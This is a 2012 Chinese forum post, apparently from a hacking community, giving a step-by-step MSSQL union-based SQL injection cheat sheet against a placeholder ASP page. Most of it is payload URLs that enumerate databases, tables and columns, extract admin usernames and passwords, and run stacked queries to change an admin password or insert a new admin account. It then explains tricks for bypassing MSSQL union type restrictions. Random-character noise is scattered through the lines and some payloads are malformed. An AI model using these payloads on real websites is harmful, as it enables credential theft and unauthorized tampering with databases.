找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2406|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:
& l* ]% X$ h. Ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
9 j( B/ C$ I# Z9 {& D; A$ J$ _SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
; w& i- V. g- h" t爆下一个库:
! o3 w  j1 H! [% U/ lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
$ G$ F9 C$ g0 x/ u8 U
+ v3 M2 m; B0 M& p* J  d0 I爆表:
! }: c/ f; R; [8 _# |( hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--, t: K2 m& B2 Y* y0 Y

% A9 U8 z- v1 e& USELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
& P3 O8 g0 d7 t7 D1 u$ p3 r
) Z  N2 \- Y4 Q爆下一个表2 I3 r' I. s/ s+ J
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--* e: r9 y8 p6 p2 E. V

; b- W# x. i5 {. W9 K. B9 b& ]http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
8 H9 [4 l2 t" V1 n) x7 ~3 @* d( H$ C1 i! I  o& n7 I" l  g

* Z  b+ g/ r  x' k  M! y/ w& e; k% C( S. S/ W" N
爆字段:& W' K5 E5 J# z: `+ I/ X
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--/ n+ J+ a, Y+ A7 j/ u! [

. W( a  j; C! t1 f爆下一个字段, x5 P( D8 B$ Q3 A4 q
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
- o# I) |3 d) d
) h; h1 o. v$ E' W+ O5 \http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
' S8 X' R. |; O! B3 Q) i. J1 b1 h. o: [+ p

$ r8 [4 b- Z4 }% E2 c( U  E爆字段里的内容
9 E- A- J; }- `http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--7 W* v6 R% G0 b% K( P% z. |

& p+ R9 P- T" [http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
! y# Y: v9 j/ o
0 D) d+ n& _1 h& b' y7 ?http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--5 s0 c$ j, h% R* Y( F& ]: u3 O1 [
7 T, Y( G, a. z+ \
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
; Z8 @$ {( M0 E6 v7 B4 U. Z+ A8 u! g" b/ J2 u
更新字段里的内容1 p( _, j2 e8 H; y3 Z5 v8 ?
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--4 W; m  {; g0 I# Q* P: F  H

. X8 f( y& L% v' khttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--& O8 v0 w9 [& r) A9 _$ t
% f& f8 {& B+ l) I6 i) E

# d, a4 g2 N7 q& O$ d0 ?* U$ T8 j& G
        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。# x6 u/ q9 R. H: g
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。* H  O" N" b7 v% u; z
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。0 Y  ^1 u, {) T/ @: n9 w
    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
- C# r( m. a6 ?$ H: a$ ^9 `8 w! m. d: K, V1 D
突了了大部份限制的语句
# e+ ^' o6 T% b& N& iand 1=2 union all select char(49),char(50),null,null;--0 `3 F/ F- y2 x( _& v  _6 }
9 s# Y+ H# l) P0 p+ z' q% B8 ~" q
* m5 @2 ^9 V/ Q8 d4 H. E8 G
null也可以正常执行,不过没有回显,不好判断回显的列数。" U8 F8 V" n( ?8 B! H: U
一般union遇到问题都是有text或者ntext字段,image的很少遇到; M. ~2 B& q# t' k& b
9 f6 E- E) Q4 [8 _# C2 C9 T
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟+ C/ X; B3 A% V6 A& O

7 x, O9 T, V7 \/ h) q0 f, b7 R: ]1 H& E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表